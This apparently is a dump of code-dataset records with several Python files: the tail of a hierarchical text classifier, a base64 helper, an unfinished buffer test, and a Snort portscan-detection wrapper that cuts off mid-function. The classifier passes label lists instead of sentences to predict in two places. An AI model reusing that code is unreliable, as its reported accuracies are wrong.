Rval = []\r\n\r\n for i, label in enumerate(Ypred):\r\n if(Ypred[i]==Yvalidate[i]): #Exclude sentences from validation data that have been misclassified\r\n if(label == level):\r\n sentences.append(i) \r\n \r\n #Create the relevant data using the pos numbers from sentences.\r\n for sent in sentences:\r\n Xval.append(Xvalidate[sent])\r\n XvalNoNPL.append(XvalidateNoNPL[sent])\r\n Zval.append(Zvalidate[sent])\r\n Tval.append(Tvalidate[sent])\r\n Rval.append(Rvalidate[sent])\r\n \r\n Xtrain, Xtest, XtrainNoNPL, XtestNoNPL, Ztrain, Ztest, Ttrain, Ttest, Rtrain, Rtest = train_test_split(X, XNoNPL, Z, T, R, test_size=0.25, random_state=42)\r\n\r\n print('')\r\n print(\"---------- SYSTEM CLASSIFIER ----------\")\r\n print('')\r\n print('Number of training instances: ', len(Xtrain))\r\n print('Number of testing instances: ', len(Xtest))\r\n print('Number of validation instances: ', len(Xval))\r\n print('')\r\n pipeline = make_pipeline(\r\n TfidfVectorizer(max_features=500, analyzer='word', lowercase=True, ngram_range=(1,2),\r\n norm='l2', sublinear_tf=True),\r\n #BernoulliNB(alpha=2, binarize=0, fit_prior=True, class_prior=None) \r\n #ExtraTreesClassifier(max_features=50, class_weight='balanced',min_impurity_split=0.5, random_state=42)\r\n #KNeighborsClassifier(n_neighbors=25)\r\n #LinearSVC(C=0.05, class_weight='balanced', dual=True, fit_intercept=True,intercept_scaling=1, loss='hinge', multi_class='ovr', penalty='l2', tol=1e-05)\r\n #LogisticRegression(n_jobs=1, multi_class='multinomial', class_weight='balanced', solver='lbfgs', C=0.01, penalty='l2')\r\n NearestCentroid()\r\n #RandomForestClassifier(class_weight='balanced',min_impurity_split=0, max_depth=4, random_state=42 )\r\n #SGDClassifier(alpha=0.5, loss=\"log\", penalty=\"l2\", class_weight='balanced', n_iter_no_change=3,early_stopping=True, random_state=42)\r\n )\r\n print('CROSS VALIDATION:') \r\n scores = cross_val_score(pipeline, Xtrain+Xtest+Xval, Ztrain+Ztest+Zval, cv=5)\r\n print(scores)\r\n print(np.average(scores))\r\n \r\n pipeline.fit(Xtrain, Ztrain)\r\n ZtrainPred = pipeline.predict(Xtrain)\r\n Zpred = pipeline.predict(Xtest)\r\n valPred = pipeline.predict(Xval)\r\n \r\n print('')\r\n print('%s train accuracy: ' %level, accuracy_score(Ztrain,ZtrainPred )) \r\n print('%s test accuracy: ' %level, accuracy_score(Ztest, Zpred)) \r\n print('%s validation accuracy: ' %level, accuracy_score(Zval, valPred)) \r\n print('')\r\n \r\n labels=['structure','behaviour','data','ui design']\r\n \r\n print('Total precision & recall (validation):')\r\n print(precision_recall_fscore_support(Zval, valPred, average='weighted'))\r\n \r\n pre_rec = precision_recall_fscore_support(Zval, valPred, average=None, labels=labels)\r\n \r\n print('')\r\n print('') \r\n print('CATEGORY ACCURACY:')\r\n print('')\r\n for i, thing in enumerate(labels):\r\n print(thing, '(precision - recall - fscore - #samples)')\r\n for j, thingy in enumerate(pre_rec):\r\n print(thingy[i])\r\n print('') \r\n \r\n trainLocations = get_relevant_section(Ztrain, 'structure')\r\n testLocations = get_relevant_section(Ztest, 'structure')\r\n valLocations = get_relevant_section(Zval, 'structure')\r\n \r\n XtrainSection = []; XtrainNoNPLSection = []; ZtrainSection = []; TtrainSection = []; RtrainSection = []\r\n XtestSection = []; XtestNoNPLSection = []; ZtestSection = []; TtestSection = []; RtestSection = []; ZpredictionSection = []\r\n XvalSection = []; XvalNoNPLSection = []; ZvalSection = []; RvalSection = []; TvalSection = []; valPredSection = []\r\n for num in trainLocations:\r\n XtrainSection.append(Xtrain[num])\r\n XtrainNoNPLSection.append(XtrainNoNPL[num])\r\n ZtrainSection.append(Ztrain[num])\r\n TtrainSection.append(Ttrain[num])\r\n RtrainSection.append(Rtrain[num])\r\n for num in testLocations:\r\n XtestSection.append(Xtest[num])\r\n XtestNoNPLSection.append(XtestNoNPL[num])\r\n ZtestSection.append(Ztest[num])\r\n TtestSection.append(Ttest[num])\r\n RtestSection.append(Rtest[num])\r\n ZpredictionSection.append(Zpred[num])\r\n for num in valLocations:\r\n XvalSection.append(Xval[num])\r\n XvalNoNPLSection.append(XvalNoNPL[num])\r\n ZvalSection.append(Zval[num])\r\n TvalSection.append(Tval[num])\r\n RvalSection.append(Rval[num])\r\n valPredSection.append(valPred[num])\r\n \r\n third_level_classifier(XtrainSection+XtestSection, XtrainNoNPLSection+XtestNoNPLSection, TtrainSection+TtestSection, RtrainSection+RtestSection, valPredSection, ZvalSection, XvalSection, XvalNoNPLSection, TvalSection, RvalSection, 'structure')\r\n \r\n\r\n##TRAINED ON ALL RELEVANT LEVEL DATA, BUT ONLY VALIDATED ON THE TEST+VALIDATION DATA FROM LEVEL 2\r\ndef third_level_classifier(X, XNoNPL, T, R, Zpred, Zvalidate, Xvalidate, XvalidateNoNPL, Tvalidate, Rvalidate, level):\r\n \"\"\"\r\n Trains a classifier to classify the sub-categories of \"Development process\"\r\n Inputs: X: all sentences to train on\r\n XNoNPL: orignial sentences, no NPL has been applied to them\r\n T: 3rd level true label of the training sentences\r\n R: 4th level true label of the training sentences\r\n Zpred: 2nd level label prediction of validation data\r\n Xvalidate: sentences to predict\r\n XvalidateNoNPL: original sentences to predict, no NPL has been applied to them\r\n Zvalidate: 2nd level true label of the validation sentences\r\n Tvalidate: 3rd level true label of the validation sentences (labels to predict)\r\n Rvalidate: 4th level true label of the validation sentences\r\n level: indicates which sub-level we are working with, e.g. \"requirements\", \"system\", etc\r\n Returns: \r\n \"\"\"\r\n \r\n correctlyClassifiedSentences = []; Xval = []; XvalNoNPL = []; Tval = []; Rval = []\r\n \r\n for i, label in enumerate(Zpred):\r\n if(Zpred[i]==Zvalidate[i]): #Exclude sentences from validation data that have been misclassified\r\n if(label == level): ##IS THIS DOING ANYTHING?\r\n correctlyClassifiedSentences.append(i) \r\n \r\n #Create the relevant data using the pos numbers from sentences.\r\n for sent in correctlyClassifiedSentences:\r\n Xval.append(Xvalidate[sent])\r\n XvalNoNPL.append(XvalidateNoNPL[sent])\r\n Tval.append(Tvalidate[sent])\r\n Rval.append(Rvalidate[sent])\r\n\r\n Xtrain, Xtest, XtrainNoNPL, XtestNoNPL, Ttrain, Ttest, Rtrain, Rtest = train_test_split(X, XNoNPL, T, R, test_size=0.25, random_state=42)\r\n\r\n print('')\r\n print(\"---------- STRUCTURE CLASSIFIER ----------\")\r\n print('')\r\n print('Number of training instances: ', len(Xtrain))\r\n print('Number of testing instances: ', len(Xtest))\r\n print('Number of validation instances: ', len(Xval))\r\n print('')\r\n pipeline = make_pipeline(\r\n TfidfVectorizer(max_features=500, analyzer='word', lowercase=True, ngram_range=(1,2),\r\n norm='l2', sublinear_tf=True),\r\n #BernoulliNB(alpha=3, binarize=0, fit_prior=True, class_prior=None) \r\n #ExtraTreesClassifier(max_features=50, class_weight='balanced',min_impurity_split=0.5, random_state=42)\r\n KNeighborsClassifier(n_neighbors=20)\r\n #LinearSVC(C=0.001, class_weight='balanced', loss='hinge', penalty='l2', random_state=42)\r\n #LogisticRegression(n_jobs=1, class_weight='balanced', C=0.01, penalty='l2')\r\n #NearestCentroid()\r\n #RandomForestClassifier(class_weight='balanced',min_impurity_split=0, max_depth=2, random_state=42 )\r\n #SGDClassifier(alpha=10, loss=\"log\", penalty=\"l2\", class_weight='balanced', n_iter_no_change=3,early_stopping=True, random_state=42)\r\n )\r\n print('CROSS VALIDATION:')\r\n scores = cross_val_score(pipeline, Xtrain+Xtest+Xval, Ttrain+Ttest+Tval, cv=5)\r\n print(scores)\r\n print(np.average(scores))\r\n \r\n pipeline.fit(Xtrain, Ttrain)\r\n TtrainPred = pipeline.predict(Xtrain)\r\n Tpred = pipeline.predict(Ttest) \r\n valPred = pipeline.predict(Xval)\r\n print('')\r\n print('%s train accuracy: ' %level, accuracy_score(Ttrain,TtrainPred )) \r\n print('%s test accuracy: ' %level, accuracy_score(Ttest, Tpred)) \r\n print('%s validation accuracy: ' %level, accuracy_score(Tval, valPred)) \r\n print('')\r\n \r\n labels=['s-architecture','s-implementation']\r\n print('Total precision & recall (validation):')\r\n print(precision_recall_fscore_support(Tval, valPred, average='weighted'))\r\n \r\n pre_rec = precision_recall_fscore_support(Tval, valPred, average=None, labels=labels)\r\n\r\n print('')\r\n print('') \r\n print('CATEGORY ACCURACY:')\r\n print('')\r\n for i, thing in enumerate(labels):\r\n print(thing, '(precision - recall - fscore - #samples)')\r\n for j, thingy in enumerate(pre_rec):\r\n print(thingy[i])\r\n print('')\r\n \r\n trainLocations = get_relevant_section(Ttrain, 's-implementation')\r\n testLocations = get_relevant_section(Ttest, 's-implementation')\r\n valLocations = get_relevant_section(Tval, 's-implementation')\r\n \r\n XtrainSection = []; XtrainNoNPLSection = []; TtrainSection = []; RtrainSection = []\r\n XtestSection = []; XtestNoNPLSection = []; TtestSection = []; RtestSection = []; TpredictionSection = []\r\n XvalSection = []; XvalNoNPLSection = []; RvalSection = []; TvalSection = []; valPredSection = []\r\n for num in trainLocations:\r\n XtrainSection.append(Xtrain[num])\r\n XtrainNoNPLSection.append(XtrainNoNPL[num])\r\n TtrainSection.append(Ttrain[num])\r\n RtrainSection.append(Rtrain[num])\r\n for num in testLocations:\r\n XtestSection.append(Xtest[num])\r\n XtestNoNPLSection.append(XtestNoNPL[num])\r\n TtestSection.append(Ttest[num])\r\n RtestSection.append(Rtest[num])\r\n TpredictionSection.append(Tpred[num]) \r\n for num in valLocations:\r\n XvalSection.append(Xval[num])\r\n XvalNoNPLSection.append(XvalNoNPL[num])\r\n TvalSection.append(Tval[num])\r\n RvalSection.append(Rval[num])\r\n valPredSection.append(valPred[num])\r\n \r\n fourth_level_classifier(XtrainSection+XtestSection, XtrainNoNPLSection+XtestNoNPLSection, TtrainSection+TtestSection, RtrainSection+RtestSection, valPredSection, TvalSection, XvalSection, XvalNoNPLSection, RvalSection, 's-implementation')\r\n\r\n##TRAINED ON ALL RELEVANT LEVEL DATA, BUT ONLY VALIDATED ON THE TEST+VALIDATION DATA FROM LEVEL 3\r\ndef fourth_level_classifier(X, XNoNPL, T, R, Tpred, Tvalidate, Xvalidate, XvalidateNoNPL, Rvalidate, level):\r\n \"\"\"\r\n Trains a classifier to classify the sub-categories of \"Development process\"\r\n Inputs: X: all sentences to train on\r\n XNoNPL: orignial sentences, no NPL has been applied to them\r\n T: 3rd level true label of the training sentences\r\n R: 4th level true label of the training sentences\r\n Tpred: 3rd level label prediction of validation data\r\n Xvalidate: sentences to predict\r\n XvalidateNoNPL: original sentences to predict, no NPL has been applied to them \r\n Rvalidate: 4th level true label of the validation sentences\r\n level: indicates which sub-level we are working with, e.g. \"requirements\", \"system\", etc\r\n Returns: \r\n \"\"\"\r\n \r\n correctlyClassifiedSentences = []; Xval = []; XvalNoNPL = []; Tval = []; Rval = []\r\n\r\n for i, label in enumerate(Tpred):\r\n if(Tpred[i]==Tvalidate[i]): #Exclude sentences from validation data that have been misclassified\r\n if(label == level): ##IS THIS DOING ANYTHING?\r\n correctlyClassifiedSentences.append(i) \r\n \r\n #Create the relevant data using the pos numbers from sentences.\r\n for sent in correctlyClassifiedSentences:\r\n Xval.append(Xvalidate[sent])\r\n XvalNoNPL.append(XvalidateNoNPL[sent])\r\n Tval.append(Tvalidate[sent])\r\n Rval.append(Rvalidate[sent])\r\n \r\n Xtrain, Xtest, XtrainNoNPL, XtestNoNPL, Ttrain, Ttest, Rtrain, Rtest = train_test_split(X, XNoNPL, T, R, test_size=0.25, random_state=42)\r\n \r\n print('')\r\n print(\"---------- STRUCTURE IMPLEMENTATION CLASSIFIER ----------\")\r\n print('')\r\n print('Number of training instances: ', len(Xtrain))\r\n print('Number of testing instances: ', len(Xtest))\r\n print('Number of validation instances: ', len(Xval))\r\n print('')\r\n pipeline = make_pipeline(\r\n TfidfVectorizer(max_features=500, analyzer='word', lowercase=True, ngram_range=(1,2),\r\n norm='l2', sublinear_tf=True),\r\n #BernoulliNB(alpha=3, binarize=0, fit_prior=True, class_prior=None)\r\n #ExtraTreesClassifier(max_features=50, class_weight='balanced',min_impurity_split=0.4, random_state=42)\r\n #KNeighborsClassifier(n_neighbors=25)\r\n #LinearSVC(C=0.0001, class_weight='balanced', loss='squared_hinge', penalty='l2', random_state=42)\r\n #LogisticRegression(n_jobs=1, class_weight='balanced', C=1, penalty='l1')\r\n #NearestCentroid()\r\n RandomForestClassifier(class_weight='balanced',min_impurity_split=0, max_depth=2, random_state=42 )\r\n #SGDClassifier(alpha=0.1, loss=\"log\", penalty=\"l2\", n_iter_no_change=3,early_stopping=True, random_state=42)\r\n ) \r\n print('CROSS VALIDATION:')\r\n scores = cross_val_score(pipeline, Xtrain+Xtest+Xval, Rtrain+Rtest+Rval, cv=5)\r\n print(scores)\r\n print(np.average(scores))\r\n\r\n pipeline.fit(Xtrain, Rtrain)\r\n RtrainPred = pipeline.predict(Xtrain)\r\n Rpred = pipeline.predict(Rtest) \r\n valPred = pipeline.predict(Xval)\r\n print('')\r\n print('%s train Accuracy: ' %level, accuracy_score(Rtrain, RtrainPred)) \r\n print('%s test Accuracy: ' %level, accuracy_score(Rtest, Rpred)) \r\n print('%s validation accuracy: ' %level, accuracy_score(Rval, valPred)) \r\n print('')\r\n \r\n labels=['s-techsolution','s-sourcecode']\r\n \r\n print('Total precision & recall (validation):')\r\n print(precision_recall_fscore_support(Rval, valPred, average='weighted'))\r\n \r\n pre_rec = precision_recall_fscore_support(Rval, valPred, average=None, labels=labels)\r\n\r\n print('')\r\n print('') \r\n print('CATEGORY ACCURACY:')\r\n print('')\r\n for i, thing in enumerate(labels):\r\n print(thing)\r\n for j, thingy in enumerate(pre_rec):\r\n print(thingy[i])\r\n print('')\r\n \r\n# with open('resSImplementation.csv', mode='w') as res_file:\r\n# res_writer = csv.writer(res_file, delimiter='|', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n# \r\n# for i, case in enumerate(XtrainNoNPL):\r\n# res_writer.writerow([XtrainNoNPL[i], RtrainPred[i]])\r\n# for i, case in enumerate(XtestNoNPL):\r\n# res_writer.writerow([XtestNoNPL[i], Rpred[i]])\r\n# for i, case in enumerate(XvalNoNPL):\r\n# res_writer.writerow([XvalNoNPL[i], valPred[i]])\r\n\r\n \r\ndef categorySplitLevel1(trueLabel, predLabel):\r\n \"\"\"\r\n Separates true and predicted labels for level 1 categories, based on true value. \r\n This is done so it's possible to calculate the prediciton accuracy of each category\r\n Inputs: trueLabel (List) - a list of true labels \r\n predLabel (List) - a list of predictions\r\n Returns: Lists of true labels and predicted labels for each of the level 1 categories \r\n \"\"\"\r\n \r\n requirementTrue = []\r\n requirementPred = []\r\n \r\n systemTrue = []\r\n systemPred = []\r\n \r\n domainTrue = []\r\n domainPred = []\r\n \r\n devProcessTrue = []\r\n devProcessPred = []\r\n \r\n docOrgTrue = []\r\n docOrgPred = []\r\n \r\n uncertainTrue = []\r\n uncertainPred = []\r\n \r\n nonInformationTrue = []\r\n nonInformationPred = []\r\n \r\n for i, cat in enumerate(trueLabel):\r\n if cat == 'requirement': \r\n requirementTrue.append(trueLabel[i])\r\n requirementPred.append(predLabel[i])\r\n elif cat == 'system':\r\n systemTrue.append(trueLabel[i])\r\n systemPred.append(predLabel[i])\r\n elif cat == 'domain':\r\n domainTrue.append(trueLabel[i])\r\n domainPred.append(predLabel[i])\r\n elif cat == 'development process':\r\n devProcessTrue.append(trueLabel[i])\r\n devProcessPred.append(predLabel[i])\r\n elif cat == 'document organisation':\r\n docOrgTrue.append(trueLabel[i])\r\n docOrgPred.append(predLabel[i])\r\n elif cat == 'system':\r\n systemTrue.append(trueLabel[i])\r\n systemPred.append(predLabel[i])\r\n elif cat == 'uncertain':\r\n uncertainTrue.append(trueLabel[i])\r\n uncertainPred.append(predLabel[i])\r\n elif cat == 'non-information':\r\n nonInformationTrue.append(trueLabel[i])\r\n nonInformationPred.append(predLabel[i])\r\n \r\n return requirementTrue, requirementPred, systemTrue, systemPred, domainTrue, domainPred, devProcessTrue, devProcessPred, docOrgTrue, docOrgPred, uncertainTrue, uncertainPred, nonInformationTrue, nonInformationPred\r\n\r\ndef get_relevant_section(labels, section):\r\n \"\"\"\r\n Finds the locations of the \"section\" instances, in the list of labels\r\n Inputs: labels (List) - a list of labels \r\n section (string) - section (category) we are looking for\r\n Returns: a list of locations\r\n \"\"\"\r\n \r\n locations=[]\r\n for i, label in enumerate(labels):\r\n if label == section:\r\n locations.append(i)\r\n \r\n return locations\r\n\r\n \r\ndef train_classifier():\r\n \"\"\"\r\n Trains the 1st level classifier\r\n Inputs: \r\n Returns:\r\n \"\"\"\r\n \r\n X, Y, Z, T, R = read_data('../../CSV Data/FinalData.csv') \r\n \r\n XtrainNoNPL, XtestNoNPL, Ytrain, Ytest, Ztrain, Ztest, Ttrain, Ttest, Rtrain, Rtest = train_test_split(X, Y, Z, T, R, test_size=0.25, random_state=42)\r\n XtrainNoNPL, XvalNoNPL, Ytrain, Yval, Ztrain, Zval, Ttrain, Tval, Rtrain, Rval = train_test_split(XtrainNoNPL, Ytrain, Ztrain, Ttrain, Rtrain, test_size=0.1, random_state=42)\r\n stopWords = set(stopwords.words('english'))\r\n \r\n Xtrain = deepcopy(XtrainNoNPL)\r\n Xtest = deepcopy(XtestNoNPL)\r\n Xval = deepcopy(XvalNoNPL)\r\n \r\n for pos, sentence in enumerate(Xtrain):\r\n sentence = lemma(sentence)\r\n sentence = stem(sentence)\r\n sentence = remove_punctuations(sentence)\r\n sentence = remove_digits(sentence)\r\n Xtrain[pos] = sentence\r\n for pos, sentence in enumerate(Xtest):\r\n sentence = lemma(sentence)\r\n sentence = stem(sentence)\r\n sentence = remove_punctuations(sentence)\r\n sentence = remove_digits(sentence)\r\n Xtest[pos] = sentence\r\n for pos, sentence in enumerate(Xval):\r\n sentence = lemma(sentence)\r\n sentence = stem(sentence)\r\n sentence = remove_punctuations(sentence)\r\n sentence = remove_digits(sentence)\r\n Xval[pos] = sentence\r\n\r\n pipeline = make_pipeline(\r\n TfidfVectorizer(stop_words=stopWords, max_features=500, analyzer='word', lowercase=True, ngram_range=(1,2),\r\n norm='l2', sublinear_tf=True),\r\n #BernoulliNB(alpha=1, binarize=0, fit_prior=True, class_prior=None) \r\n #ExtraTreesClassifier(max_features=500, class_weight='balanced',min_impurity_split=0.8)\r\n #KNeighborsClassifier(n_neighbors=100)\r\n LinearSVC(C=0.01, class_weight='balanced', dual=True, fit_intercept=True,intercept_scaling=1, loss='squared_hinge', max_iter=500, multi_class='ovr', penalty='l2', tol=1e-05)\r\n #LogisticRegression(n_jobs=1, multi_class='multinomial', class_weight='balanced', solver='lbfgs', C=0.1, penalty='l2')\r\n #NearestCentroid()\r\n #RandomForestClassifier(class_weight='balanced',min_impurity_split=0, max_depth=4, random_state=0 )\r\n #SGDClassifier(alpha=0.01, loss=\"log\", penalty=\"l2\", class_weight='balanced', n_iter_no_change=3,early_stopping=True) #63,5 - 63\r\n )\r\n print('') \r\n print(\"---------- 1ST LEVEL CLASSIFIER ----------\")\r\n print('')\r\n print('CROSS VALIDATION:')\r\n scores = cross_val_score(pipeline, Xtrain+Xtest+Xval, Ytrain+Ytest+Yval, cv=5)\r\n print(scores)\r\n print(np.average(scores))\r\n\r\n pipeline.fit(Xtrain, Ytrain)\r\n YtrainPred = pipeline.predict(Xtrain)\r\n Yprediction = pipeline.predict(Xtest)\r\n valPred = pipeline.predict(Xval)\r\n print('')\r\n print('Train Accuracy: ', accuracy_score(Ytrain, YtrainPred)) \r\n print('Test Accuracy: ', accuracy_score(Ytest, Yprediction)) \r\n print('Validation accuracy: ', accuracy_score(Yval, valPred)) \r\n print('') \r\n \r\n labels=['requirement','system','domain','development process',\r\n 'document organisation','uncertain','non-information']\r\n print('Total precision & recall (validation):')\r\n print(precision_recall_fscore_support(Yval, valPred, average='weighted'))\r\n \r\n pre_rec = precision_recall_fscore_support(Yval, valPred, average=None, labels=labels)\r\n \r\n print('')\r\n print('')\r\n print('CATEGORY ACCURACY:')\r\n print('')\r\n for i, thing in enumerate(labels):\r\n print(thing, '(precision - recall - fscore - #samples)')\r\n for j, thingy in enumerate(pre_rec):\r\n print(thingy[i])\r\n print('')\r\n \r\n trainLocations = get_relevant_section(Ytrain, 'system')\r\n testLocations = get_relevant_section(Ytest, 'system')\r\n valLocations = get_relevant_section(Yval, 'system')\r\n \r\n XtrainSection = []; XtrainNoNPLSection = []; YtrainSection = []; ZtrainSection = []; TtrainSection = []; RtrainSection = []\r\n XtestSection = []; XtestNoNPLSection = []; YtestSection = []; ZtestSection = []; TtestSection = []; RtestSection = []; YpredictionSection = []\r\n XvalSection = []; XvalNoNPLSection = []; YvalSection = []; ZvalSection = []; RvalSection = []; TvalSection = []; valPredSection = []\r\n for num in trainLocations:\r\n XtrainSection.append(Xtrain[num])\r\n XtrainNoNPLSection.append(XtrainNoNPL[num])\r\n YtrainSection.append(Ytrain[num])\r\n ZtrainSection.append(Ztrain[num])\r\n TtrainSection.append(Ttrain[num])\r\n RtrainSection.append(Rtrain[num])\r\n for num in testLocations:\r\n XtestSection.append(Xtest[num])\r\n XtestNoNPLSection.append(XtestNoNPL[num])\r\n YtestSection.append(Ytest[num])\r\n ZtestSection.append(Ztest[num])\r\n TtestSection.append(Ttest[num])\r\n RtestSection.append(Rtest[num])\r\n YpredictionSection.append(Yprediction[num]) \r\n for num in valLocations:\r\n XvalSection.append(Xval[num])\r\n XvalNoNPLSection.append(XvalNoNPL[num])\r\n YvalSection.append(Yval[num])\r\n ZvalSection.append(Zval[num])\r\n TvalSection.append(Tval[num])\r\n RvalSection.append(Rval[num])\r\n valPredSection.append(valPred[num])\r\n \r\n second_level_classifier(XtrainSection+XtestSection, XtrainNoNPLSection+XtestNoNPLSection, ZtrainSection+ZtestSection, TtrainSection+TtestSection, RtrainSection+RtestSection, valPredSection, XvalSection, XvalNoNPLSection, YvalSection, ZvalSection, TvalSection, RvalSection, 'system')\r\n \r\n \r\ntrain_classifier()\r\n\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n","sub_path":"HierarchyClassifiers/Classifier_level4_system_structure_implementation.py","file_name":"Classifier_level4_system_structure_implementation.py","file_ext":"py","file_size_in_byte":28217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"39782515","text":"import base64\nfrom configparser import ConfigParser\nconfig = ConfigParser()\nconfig.read('config.ini')\ndev_options = config.get('SETTINGS', 'dev_options')\n\ndef encode(msg):\n\tx = base64.b64encode(msg.encode(\"utf-8\"))\n\tx = x.decode('utf-8')\n\tif dev_options == True:\n\t\tprint(f'{msg} --> {x}')\n\treturn x\n\ndef decode(msg):\n\tx = base64.b64decode(msg).decode(\"utf-8\")\n\tif dev_options == True:\n\t\tprint(f'{msg} --> {x}')\n\treturn x\n","sub_path":"codec.py","file_name":"codec.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"130268452","text":"from unittest import TestCase\nfrom unittest.mock import Mock, MagicMock, patch\nimport numpy as np\nimport torch\n\nfrom shiva.buffers.SimpleBuffer import SimpleBuffer\nfrom shiva.buffers.TensorBuffer import TensorBuffer\n\nclass test_buffers(TestCase):\n\n def tearDown(self):\n pass\n\n def setUp(self):\n self.observation_space = 10 # np.random.randint(20)\n self.action_space = 3 # np.random.randint(10)\n self.n_agents = 1 # np.random.randint(5)\n self.capacity = 100 # np.random.randint(128)\n self.batch_size = 10 # np.random.randint(32)\n self.setup_numpys()\n self.setup_tensors()\n\n def setup_numpys(self):\n self.observations = np.random.rand(self.n_agents, self.observation_space)\n self.actions = np.random.rand(self.n_agents, self.action_space)\n self.rewards = np.random.rand(1, self.n_agents)\n self.next_observations = np.random.rand(self.n_agents, self.observation_space)\n self.dones = np.random.randint(0, 2, (1, self.n_agents))\n # self.experiences = [self.observations, self.actions, self.rewards, self.next_observations, self.dones]\n\n def setup_tensors(self):\n self.observations_t = np.random.rand(self.n_agents, self.observation_space)\n self.actions_t = torch.rand(self.n_agents, self.action_space)\n self.rewards_t = torch.rand(1, self.n_agents)\n self.next_observations_t = torch.rand(self.n_agents, self.observation_space)\n self.dones_t = torch.randint(0, 2, (1, self.n_agents))\n # self.experiences = [self.observations, self.actions, self.rewards, self.next_observations, self.dones]\n\n def test_simple_buffer(self):\n buffer = SimpleBuffer(self.batch_size, self.capacity)\n assert len(buffer) == 0, 'equal zero'\n # try inserting\n for obs, act, rew, next_obs, done in zip(self.observations, self.actions, self.rewards, self.next_observations, self.dones):\n buffer.append([obs, act, rew, next_obs, done])\n # try sampling sizes\n obs, act, rew, next_obs, dones = buffer.sample()\n assert obs.shape == (self.batch_size, self.observations.shape[1])\n assert act.shape == (self.batch_size, self.actions.shape[1])\n assert rew.shape == (self.batch_size, self.rewards.shape[1])\n assert next_obs.shape == (self.batch_size, self.next_observations.shape[1])\n assert dones.shape == (self.batch_size, self.dones.shape[1])\n\n def test_tensor_buffer(self):\n buffer = TensorBuffer","sub_path":"shiva/tests/test_buffers.py","file_name":"test_buffers.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"504827904","text":"#!/usr/bin/env python\n# coding=utf-8\n\n\n\n\"\"\" 智能防护--> 反向扫描 \"\"\"\n\n\nimport os\nimport re\nimport json\nimport time\nimport commands\nimport time\nimport datetime\nimport linecache\nimport threading\nfrom IPy import IP\nfrom Queue import Queue\n\nfrom db.config1 import search_data, execute_sql, mkdir_file\nfrom utils.logger_init import logger_init\nfrom utils.mask_transition import exchange_mask\nfrom system.ha import init_tenv\n\n\n#FILE_PATH = '/etc/snort'\n#LOG_PATH = '/etc/snort/log'\nCOMMANDS = commands.getstatusoutput\n\nFLAG = True\nSTOP_SRC = None\nSTOP_TIME = None\nphp_to_python_revscanfile=''\n\n\nlogger = logger_init('REVSCAN', '/usr/local/bluedon/log/revscan.log', 'DEBUG')\n\n\ndef run_revscan_client():\n #cmd = '%s -c %s -l %s --daq dpdk' %(FILE_PATH + '/bin/snort',\n # FILE_PATH + '/snort.conf', LOG_PATH)\n cmd = '/etc/snort/bin/snort -c /etc/snort/snort.conf -l /etc/snort/log --daq dpdk'\n (status, output) = COMMANDS(cmd)\n\nclass REVSCAN_THREAD(threading.Thread):\n \"\"\" 多线程, 用于处理反向拍照和日志分析还有拍照来源ip \"\"\"\n\n def __init__(self, name_1, name_2,data,content,reset):\n super(REVSCAN_THREAD, self).__init__()\n self.th_1 = threading.Thread(target=name_1)\n self.name_2 = name_2\n self.data = data\n self.content = content\n self.reset = reset\n\n def run(self):\n self.th_1.start()\n if self.reset:\n open('/tmp/fifo/%s'%self.data['Revscanfile'],'w').close()\n fw=open('/tmp/fifo/revscan', 'w')\n print>>fw,self.content\n fw.close()\n global FLAG\n # print \"#####################\",FLAG\n self.th_2 = threading.Thread(target=self.name_2)\n self.th_2.start()\n # self.th_2.join()\n while FLAG:\n res = search_process()\n if res == 0:\n time.sleep(10)\n FLAG = False\n\ndef search_process():\n\n \"\"\" 存在进程返回0, 不存在返回1 \"\"\"\n\n PROCESS = \"ps -ef|grep snort|grep -v grep|grep -v PPID|awk '{ print $8}'\"\n (s, output) = COMMANDS(PROCESS)\n snort_process = output.split('\\n')\n snort_process = set(snort_process)\n snort = ['/etc/snort/bin/snort']\n snort = set(snort)\n\n if snort & snort_process:\n status = 1\n else:\n status = 0\n return status\n\n\ndef revscan_conf_file(data):\n\n scan_ini = {}\n scan_ini['proto'] = str(data['protocol']).strip() or 'all'\n way = { 'nmap': 'portscan',\n 'normal': 'portsweep',\n 'wz': 'decoy_portscan',\n 'fbs': 'distributed_portscan',\n 'all': 'all',\n '': 'all'}\n scan_ini['type'] = way[data['way'].strip()] or 'all'\n\n scan_ini['level'] = data['level'].strip() or 'low'\n if data['level'].strip()=='mid':\n scan_ini['level'] = 'medium'\n\n for k,v in data.items():\n if k=='check_ip' or k=='src_ip' or k=='des_ip':\n ip_list = []\n for tmp in v.split(','):\n if not tmp:\n break\n\n mask=tmp.split('/')[-1]\n if '.' in mask and len(mask)==2:\n mask_int=exchange_mask(mask)\n tmp=tmp.replace(mask,str(mask_int))\n ip_list.append(tmp)\n scan_ini[k] = ','.join(ip_list)\n\n tenv = init_tenv()\n tenv.get_template('snort').stream(scan_ini = scan_ini).dump('/etc/snort/snort.conf')\n\n\ndef read_file(filepath):\n \"\"\" 读取文件内容\"\"\"\n try:\n return linecache.getlines(filepath)\n except Exception as e:\n logger.debug(e)\n return []\n\n\ndef write_file(filepath, con):\n \"\"\" 把数据写入文件 \"\"\"\n\n try:\n with open(filepath, 'w') as fp:\n fp.write(con)\n except Exception as e:\n logger.debug(e)\n\n\n# 轮询日志文件写入队列\ndef loop_read_file(filename, q):\n\n if mkdir_file('/usr/local/bluedon/conf/revscan', 'file'):\n con = json.dumps({'size': 0})\n write_file('/usr/local/bluedon/conf/revscan', con)\n\n with open('/usr/local/bluedon/conf/revscan') as f:\n f.seek(0)\n seek_position = json.load(f).get('size')\n\n while FLAG:\n with open(filename) as f:\n f.seek(seek_position)\n lines = f.read().split('\\n')\n offset = len(lines.pop(-1))\n seek_position = f.tell() - offset\n write_file('/usr/local/bluedon/conf/revscan', json.dumps({'size': seek_position}))\n for line in lines:\n q.put(line)\n time.sleep(5)\n logger.debug(\"loop read file over!\")\n\n\n# 整合队列中的日志\ndef loop_handle_queue(q):\n while FLAG:\n lines = []\n while True:\n try:\n line = q.get(timeout=10)\n except Exception as e:\n break\n if line:\n lines.append(line)\n elif len(line) < 1 and len(lines) > 7:\n 